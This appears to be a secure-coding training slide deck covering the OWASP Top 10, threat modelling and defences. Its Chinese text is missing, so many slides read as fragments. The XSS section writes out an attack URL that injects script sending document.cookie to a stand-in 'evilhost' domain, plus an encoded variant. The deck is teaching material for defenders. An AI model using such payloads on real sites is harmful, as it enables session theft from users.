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(Fred.Weng) < fred.weng@sti.com.tw >

: -
(1996~Now)

Coding
– C C++ C# ASP.NET
– PKI (DRM)

CMMI 
SOC (Security Operation Center)
DLP (Data  Loss Prevention)
APT (Advanced Persistent Threat)

& (2008~Now)

CEH CISSP CSSLP CISM
https://www.uuu.com.tw/Course/Show/48/CSSLP-
%E8%B3%87%E5%AE%89%E8%BB%9F%E9%AB%94%E9%96%8B%E7%99%BC%E5%B0%88%E5%A
E%B6%E8%AA%8D%E8%AD%89%E8%AA%B2%E7%A8%8B
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https://static1.squarespace.com/static/508a48fce4b08eaef9f2b25a/t/546411d5e4b009
7b957ced80/1415844310620/trendjumyu02?format=500w
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?

( )

CIA Triangle
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Confidentiality
( )

Integrity
( )

Availability
( )
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HTTP Proxy

app
HTTP 
Request

HTTP 
Response

HTTP 
Request

HTTP 
Response

Web Server AP Server

3rd Party
…)
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?!

…
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Performance

Security

Convenient

Cost Administration
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Cigital – TouchPoint Model

Microsoft SDL

Models
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https://www.microsoft.com/en-us/securityengineering/sdl/
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Secure Coding

Security Analysis 
Requirements

Code Review

Dynamic Testing Continuous
Defense 
& Monitoring

Security Design
Hardening

+ Security Activities



Copyright of STI

/

“ (Security Controls)”

“ ”
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+ OWASP Top 10(2017)
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A1: Injection
A4: XML External Entities (XXE)
A7: Cross-Site Scripting (XSS)
A8: Insecure Deserialization
A9: Using Components with Known Vulnerabilities

A2: Broken Authentication
A3: Sensitive Data Exposure
A5: Broken Access Control
A10: Insufficient Logging & Monitoring

A6: Security Misconfigurations 
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(1)

14

http://i.epochtimes.com/assets/uploads/2016/
08/Fotolia_6761569_Subscription_L-
600x400.jpg
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– :
ISO27001
PCIDSS(Payment Card Industry (PCI) Data Security Standard )
BS10012 / GDPR /
….

– Best Practice : 
OWASP (Open Web Application Security Project )
NIST (National Institute of Standards and Technology)
Common Weakness Enumeration (CWE)
….
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(cont.)

– : 

( : 
https://www.twfhc.com.tw/security_policy.aspx)

– :
:

IC

–

– : Target SONY … 16



Copyright of STI

(cont.)

(cont.)
(Business Impact Analysis)

– Recovery Time Objective(RTO)
Time needed to recover the parent process to business almost as 
usual following a disruption

– Recovery Point Objective (RPO)
Point in time to which parent process work should be restored 
following a disruption Data Backup

– :
http://searchdisasterrecovery.techtarget.com/feature/Using-a-business-impact-analysis-BIA-
template-A-free-BIA-template-and-guide

17
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(cont.)

(General)

18

C

I

A

A

A

A

Confidentiality

Integrity

Authentication

Availability

Authorization

Accounting
Audit
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: (Requirements Traceability Matrix, RTM)

19

http://lh5.ggpht.com/_vdqOsYKAf0Y/Sjw5tKW4Ey
I/AAAAAAAAAXM/YoRVMRxsOgU/Sample%20Tr
aceability%20Matrix2_thumb%5B2%5D.jpg?img
max=800

http://download.nccst.nat.gov.tw/attachfilehandout/%E7%B3%BB%E7%B5%B
1%E5%AE%89%E5%85%A8%E7%99%BC%E5%B1%95%E6%B5%81%E7
%A8%8B%E5%AF%A6%E5%8B%99_20160812v2.pdf
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(2)

20

https://www.junpindesign.com/wp-
content/uploads/2019/03/%E5%AE%A4%E5%85%A7%
E8%A8%AD%E8%A8%88%E4%B8%88%E9%87%8F
%E8%A6%8F%E5%8A%83-700x466.jpg
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: 

Risk = Probability x Impact

“ ” 21
http://www.charity.idv.tw/image/113.GIF
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(Threat Modeling)

Identify Security Objectives
Identify Threats Vulnerabilities and 
Safeguards(Countermeasures)
Design software to be secure
Assist with Engineering vs. Security Tradeoffs
Reduce risk to acceptable level

STRIDE (for )
– https://msdn.microsoft.com/en-

us/library/ee823878(v=cs.20).aspx

DREAD (for )
– https://en.wikipedia.org/wiki/DREAD_(risk_as

sessment_model)

22

https://i-msdn.sec.s-msft.com/dynimg/IC101260.gif
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(cont.)

OWASP

Microsoft
Microsoft Threat Modeling Tool 2016

– https://www.microsoft.com/en-us/download/details.aspx?id=49168

23

https://www.owasp.org/images/8/86/2010-T10-ArchitectureDiagram.png
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Misuse Cases

24

http://html.scirp.org/file/2-9301911x15.png
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(Security Controls)

25

/
(Input Validation)
(Encoding) Base64 HTML Encoding…
(Hash) MD5 SHA-1 SHA-256…
(Encryption) (DES 3DES AES)

(RSA)
Public Key Infrastructure(PKI) :

(Masking) for …

(Single Sign-On)(SSO)
Digital Token RSA Token IC Card …
Access Control Role-based Resource-based …
Referential Integrity for Relational DB data consistency
Resource Locking for multi-processing / multi-user data consistency
Code Obfuscation
Code Signing
……..
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External Systems are Insecure
Minimize Attack Surface Area
Secure Defaults
Least Privilege
Separation of Duties
Defense in Depth
Fail Securely
Do not trust Security through Obscurity
Simplicity

http://farm4.static.flickr.com/3009/2593535211_943
673c680_m.jpg

Saltzer, J. H., and Schroeder, M. D., “The Protection of Information in Computer System”, 

Fourth ACM Symposium on Operation Systems Principles, October 1974.
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: 
“ ” :
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SQL Injection 

OS Command Injection

Code Injection

XSS Attack 

Malicious File Execution
Insecure Direct Object Reference

External Systems are Insecure
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External Systems are Insecure (cont.)

“ ” “ ” ?!
HTTP Request

28

:
– File DB RPC Web Services….

HTTP 
Request



Copyright of STI

:

External Systems are Insecure (cont.)

29
: “ The Web Application Hackers Handbook”
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:
10

: “ !”

30

External Systems are Insecure (cont.)

https://encrypted-
tbn3.gstatic.com/images?q=tbn:ANd9GcQEGHeayURjCYeVSTyF0QtLyThsr0JTE0NIbsyn_LP9WTSPTnovTQ

http://renjin.blogspot.tw/2008/05/sql-injection-attacks-by-example.html

SQL Injection :

Minimize Attack Surface Area



Copyright of STI

Secure Defaults

“ ”
OS Hardening

/

31

https://en.wikipedia.org/wiki/Secure_by_default

Implicit deny or no data !
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Least Privilege

Run with just enough privilege to get the job 
done, and no more!

32
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+ OWASP Top 10(2017)

33

A1: Injection
A4: XML External Entities (XXE)
A7: Cross-Site Scripting (XSS)
A8: Insecure Deserialization
A9: Using Components with Known Vulnerabilities

A2: Broken Authentication
A3: Sensitive Data Exposure
A5: Broken Access Control
A10: Insufficient Logging & Monitoring

A6: Security Misconfigurations 
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Broken Authentication

34

/

Session ID 
–

XSS -> session cookie
SQL Injection

https://image.freepik.com/free-vector/blurred-login-form-design_23-2147724175.jpg

OWASP Top 10: A2
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Sensitive Data Exposure

( IP Session 
ID….)

!!!

: Log / / APP
:

35

OWASP Top 10: A3
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: 

Sensitive Data Exposure (cont.)
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Sensitive Data Exposure (cont.)

SSL / TLS 

– Password Session ID

SSL
– No: SSL v2 SSL v3 TLS v1.0 TLS v1.1
– No: MD5 SHA1 DES 3DES RC4
– : https://www.ssllabs.com/projects/best-practices/

SSL
37

OWASP Top 10: A6
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Sensitive Data Exposure (cont.)

38

Encoding ?

Hash?

Encryption?
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Sensitive Data Exposure (cont.)

:
Encoding ( ) : Base64 HTML Encoding …

Hash ( ) : MD5 SHA1…

Encrypt ( ) : 3DES AES…

39

(http://www.rsa.com/rsalabs/node.asp?id=2176)

f(data, key)

f(data)

f(data)
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Hashed “ ”

Sensitive Data Exposure (cont.)

40

7c222fb2927d8
28af22f592134e
8932480637c0d

Plaintext 000001Plaintext 000001’ hash

Plaintext 000002Plaintext 000002’ hash

Plaintext 999999Plaintext 999999’ hash

….….Match ?

Hashed Password

Rainbow Table

[ ] hash (salt)
1 : Hash(“secret”, “1lkjdo3opf”), Hash(“secret”, “mkdi2kan7”)
2 : $1$tsLFcOYh$5ibC1Ui2OPwUvyGUttUFI1
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Broken Access Control

41

OWASP Top 10: A5

Weak Authorization

Missing Function Level Access

Insecure Direct Object Reference
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Broken Access Control (cont.)

Weak Authorization

–
http://www.test.com.tw/UserDataManagement/UserDataEdit.aspx?
access=read
https://web_ip/index.php?id=john&is_admin=fales&menu=basic

– cookie
–

: session

42
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Broken Access Control (cont.)

– radio button check box select menu
– hidden value

– SQL XSS
–
–
–

–
– “ ”

43

( ?!)

( ?!)

( )

( ?!)
( !!!)
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Broken Access Control (cont.)

44

:
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Broken Access Control (cont.)
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Missing Function Level Access

– Web Server
– AP
–

Broken Access Control (cont.)

46
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Broken Access Control (cont.)

47

(2007/11)
:
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Broken Access Control (cont.)

Insecure Direct Object Reference
Web “ ”

– : http://www.xxx.com.tw/showPage.aspx?page=main.aspx
– : ….
– :

48
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Broken Access Control (cont.)

49

http://www.mobile01.com/topicdetail.php?f=687&t=3722701&p=1

: ETC
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Broken Access Control (cont.)

…. ?

50

IP

http://blog.marketo.com/wp-content/uploads/2014/02/cross-the-line.jpg
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– &
( ) /

( )
/

…

Log Manager
SIEM (Security Information and Event 
Management)

–
–

51

OWASP Top 10: A10
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(3.1)

“ ”

52

https://hk.on.cc/hk/bkn/cnt/news/20160610/photo/bkn-
20160610115805453-0610_00822_001_01p.jpg?20160610153147
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Type-safe languages 
buffer overflows use after free, off-by-one 

errors
: APP programming

– Android
Android SDK : Java
Android NDK : Native language, for example C

– iOS
Object-C (1983~)
Swift (2014/6 ~)

53http://cw1.tw/CW/images/article/C1452672725082.jpg
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?
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OWASP Top 10: A9

Struts
https://www.exploit-db.com/
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? (cont.)

55

jQuery
https://www.cvedetails.com/vendor/6538/Jquery.html
https://www.cvedetails.com/vulnerability-list/vendor_id-6538/opxss-1/Jquery.html
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? (cont.)
http://xss.cx/2013/07/12/report/dealsebaycom-xss-dom-jquery-location.hash-example-poc.html

: eBay
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– Exploit DB
– CVE
–
– release note

– : Acunetix Metasploit ….

– : Black Duck ….

? (cont.)

57
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HTTP
– : AP 
– Session AP
– AP
– AP
– : SSL
– AP

“ ”
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+ OWASP Top 10(2017)

59

A1: Injection
A4: XML External Entities (XXE)
A7: Cross-Site Scripting (XSS)
A8: Insecure Deserialization
A9: Using Components with Known Vulnerabilities

A2: Broken Authentication
A3: Sensitive Data Exposure
A5: Broken Access Control
A10: Insufficient Logging & Monitoring

A6: Security Misconfigurations 
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SQL Injection ( :1998 ~ :?)

SQL 

:

: 

60

OWASP Top 10: A1
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•Bypass Authentication
•Error Based
•Union Based
•Update Based

•Blind
•Batch Queries
•Extended Procedure

SQL Injection (cont.)
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SQL Injection (cont.)

Blind SQL Injection 

62

True

False
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SQL Injection (cont.)

: Blind SQL Injection

63
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SQL Injection (cont.)

– ( + ) > >

– Prepared Statement

–
sa

–
64

string connString = WebConfigurationManager.ConnectionStrings["myConn"].ConnectionString;
using (SqlConnection conn = new SqlConnection(connString)) 

{ 
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT Count(*) FROM Products WHERE 

ProdID=@pid", conn);
SqlParameter prm = new SqlParameter("@pid", SqlDbType.VarChar, 50); 
prm.Value = Request.QueryString["pid"]; 
cmd.Parameters.Add(prm); 
int recCount = (int)cmd.ExecuteScalar();

}
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XML External Entities (XXE)

XML External Entity
:

65

https://images2017.cnblogs.com/blog/1205477/201707/1205477-
20170729141612957-759004042.png

XML 
Parser

OWASP Top 10: A4

SOAP<v1.2
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XXE (cont.)

Attack Sample1: 

66

https://www.cnblogs.com/r00tuser/p/7255939.html



Copyright of STI

XXE (cont.)

Attack Sample2: 

67

https://www.cnblogs.com/r00tuser/p/7255939.html
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
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Attack Sample3: 

68

https://en.wikipedia.org/wiki/Billion_laughs_attack

https://encrypted-
tbn0.gstatic.com/images?q
=tbn:ANd9GcTYIgdcIIh7r0
8siA60C2RfWeporLJY7tY
GJbpRlO4XAXX_BEaW

“Billion laughs attack”

XXE (cont.)
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XXE (cont.)

: Disable DTD
Parser :

– https://www.owasp.org/index.php/XML_External_Entity_(XXE)_P
revention_Cheat_Sheet

– .NET Sample:

DTD :
– External  DOCTYPE
– External ENTITY

XML Parser

– …
69
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Cross-Site Scripting(XSS)
( :1996 ~ :?)

~

70

OWASP Top 10: A7
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XSS (cont.)
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XSS (cont.)

:
cookie

Step1: URL
– http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=<s

cript>alert(document.cookie)</script>&search_title=1

72
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XSS (cont.)

Step2: 
– http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=<s

cript>location.replace(“http://www.evilhost.com/getcookie.as
p?k=“+document.cookie)</script>&search_title=1

Step3: 
– http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=%

3C%73%63%72%69%70%74%3E%6C%6F%63%61%74
%69%6F%6E%2E%72%65%70%6C%61%63%65%28%5
3%74%72%69%6E%67%2E%66%72%6F%6D%43%68%
61%72%43%6F%64%65%28%31%30%34%2C%31%31
%36…( )&search_title=1

Step4: 
– : blog / _ \

…

73
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XSS (cont.)

Step5: cookie

74
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:

– HTML-Encoding 

XSS (cont.)

75

ASP : Server.HTMLEncode(string)
Java :

PHP: 
Ensure output is passed through 
htmlentities() or htmlspecialchars()
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XSS (cont.)

76
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Insecure Deserialization

(deserialize)
byte stream

:

77

)

…

https://www.owasp.org/index.php/Deserialization_of_untrusted_data

OWASP Top 10: A8
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Insecure Deserialization (cont.)

Sample: File UI Object

Sample: Authentication Token

78

https://cwe.mitre.org/data/definitions/502.html
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JAVA
http://www.digicentre.com.tw/industry_detail.php?id=37

Java return
byteStream error Payload

Gadget Chain Runtime.getRuntime().exec()

Attack Sample: Super Cookie for Access Control

79

)

Insecure Deserialization (cont.)
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Insecure Deserialization (cont.)

80
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:
[OWASP]: “The only safe architectural pattern is not to accept 
serialized objects from untrusted sources or to use serialization 
mediums that only permit primitive data types”.

JSON XML
( )

Log
–
–

de-serialization

81

Insecure Deserialization (cont.)
https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A8-Insecure_Deserialization
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Tools

82

https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

Insecure Deserialization (cont.)
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WebShell

Web Server
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(cont.)

84

WebShell

Web Server
• MIME-Type
•
• >
• %00

•

Reader
• https://.....show.aspx?id=112233

• IIS :
https://blog.miniasp.com/post/2010/08/04/IIS7-How-
to-Turn-off-Execute-Permission
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(Security Code Review)

: ( IDE )

: 
:

Checkmarx
CodeSecure
HP Fortify SCA(Source Code Analyzer)
IBM Security AppScan Source
Klocwork
Parasoft
….

:
85
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(3.2)

86

http://www.e-greentest.com/Data/Uploads/image/2016/09/07/57cfe19edd97b.jpg

/
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( )

Staging

:
– Test Cases from RTM( )
– : LoadRunner Qaload JMeter…

:
– : Nessus Rapid7…
– : Acunetix AppScan WebInspect…

:
– ( )

87

:
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http://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html

CWE Top 25
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https://software-security.sans.org/resources/swat
https://www.sans.org/security-resources/posters/securing-web-application-
technologies-swat/60/download

SANS
OWASP

https://owasp.org/www-
project-application-security-
verification-standard/

https://owasp.org/www-project-web-security-testing-
guide/assets/archive/OWASP_Testing_Guide_v4.pdf
https://github.com/wisec/OWASP-Testing-Guide-v5
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Test Cases 
(from )

Security Controls

Staging ( ) Baseline

( ) Staging ( )

Staging ( ) ( )

( ) ( )

“ ”
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(4)

91

http://www.guaizhi.com/uploads/allimg/160510/1003221054-0.jpg
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+ OWASP Top 10(2017)

92

A1: Injection
A4: XML External Entities (XXE)
A7: Cross-Site Scripting (XSS)
A8: Insecure Deserialization
A9: Using Components with Known Vulnerabilities

A2: Broken Authentication
A3: Sensitive Data Exposure
A5: Broken Access Control
A10: Insufficient Logging & Monitoring

A6: Security Misconfigurations 
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“Secure Defaults”

OS / patch

(service ports)

Web Server
– “ ” ( : Tomcat Admin phpMyAdmin for MySQL PHP Info page …)
–
–
– cookie
– Google (robots.txt)
– OS

SSL

“debugging modes”
– Log backdoor PW comment

IP
93

https://pic.pimg.tw/applause29/1456553329-2587487144_n.jpg

https://github.com/ssllabs/research/wiki/SSL-
and-TLS-Deployment-Best-Practices

OWASP Top 10: A6
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DLP

Firewall

Web Server

DB Server

Firewall
IPSec

Web AP Firewall

IPS

Anti-Virus

SSL

Layered  Defense Layered  Defense 
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(5)

95

https://p7.hiclipart.com/preview/1008/256/894/ansvar-
shutterstock-service-stock-illustration-3d-villain.jpg



Copyright of STI

“ ”

(Configuration Management)
CMDB: 

–
–

(Change Management)

(Vulnerabilities Management)
: /

(Log Audit)

96
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“ ”

(Incident Management)
Event Alert Incident
Incident Response SOP

–

–
– chain of evidence
–

Lesson Learned

97

https://image.slidesharecdn.com/gb757incidentresponse-140925201019-
phpapp01/95/incident-response-20-638.jpg?cb=1411675894
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“ ” (cont.)

(Problem Management)
“Problem”

– “Unknown” underlying cause of one or more incidents

– root cause
–

:

98

Incident Management Restore service
Problem Management Improve service
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(6)

99

https://img1.daumcdn.net/thumb/R800x0/?scode=mtistory2&fname=https%3A%2F%2Ft1.daumc
dn.net%2Fcfile%2Ftistory%2F1305AB144A0FF1E4C9
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….

(Change Management)
–
–
– CMDB(Configuration Management Database)

–
– /
–
– Uninstall /Archive /Secure Delete 

100
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http://img3.redocn.com/20100415/20100413_1f47d9e
28cdffe03d09eH3ofezaSse3U.jpg
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(cont.)

“ ”

–
–

– , :

–
–

SLA (Service Level Agreement) 103
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http://www.mtsc.com.tw/images/service/Network.gif

100% /
( )

(cont.)
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105 
https://www.nccst.nat.gov.tw/HandoutDetail?lang=zh&seq=1255

–
https://www.nccst.nat.gov.tw/Vulnerability?lang=zh

–
https://www.nccst.nat.gov.tw/CommonSpecification?lang=zh

Microsoft SDL
https://www.microsoft.com/en-us/sdl/

Microsoft Threat Modeling Tool
https://www.microsoft.com/en-us/sdl/adopt/threatmodeling.aspx
https://www.microsoft.com/en-us/download/details.aspx?id=49168

CSSLP
Official (ISC)2 CSSLP Education Seminar Materials

105
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(cont.)
OWASP

https://www.owasp.org/index.php/Main_Page
CWE/SANS - Top 25 Most Dangerous Programming Errors

http://cwe.mitre.org/top25/index.html#Listing
SANS Securing Web Application Technologies [SWAT] Checklist

https://software-security.sans.org/resources/swat
2019 Application Security Risk Report

https://www.microfocus.com/media/report/2019-application-security-risk-
report.pdf

Secure by Defaults
https://en.wikipedia.org/wiki/Secure_by_default

SSL Best Practice
https://www.ssllabs.com/projects/best-practices/
: The Web Application Hackers Handbook - Dafydd Stuttard

Marcus Pinto
: Hacking the Code (ASP.NET Web ApplicationSecurity) - Mark M. 

Burnett James C.Foster
: Java - -

106
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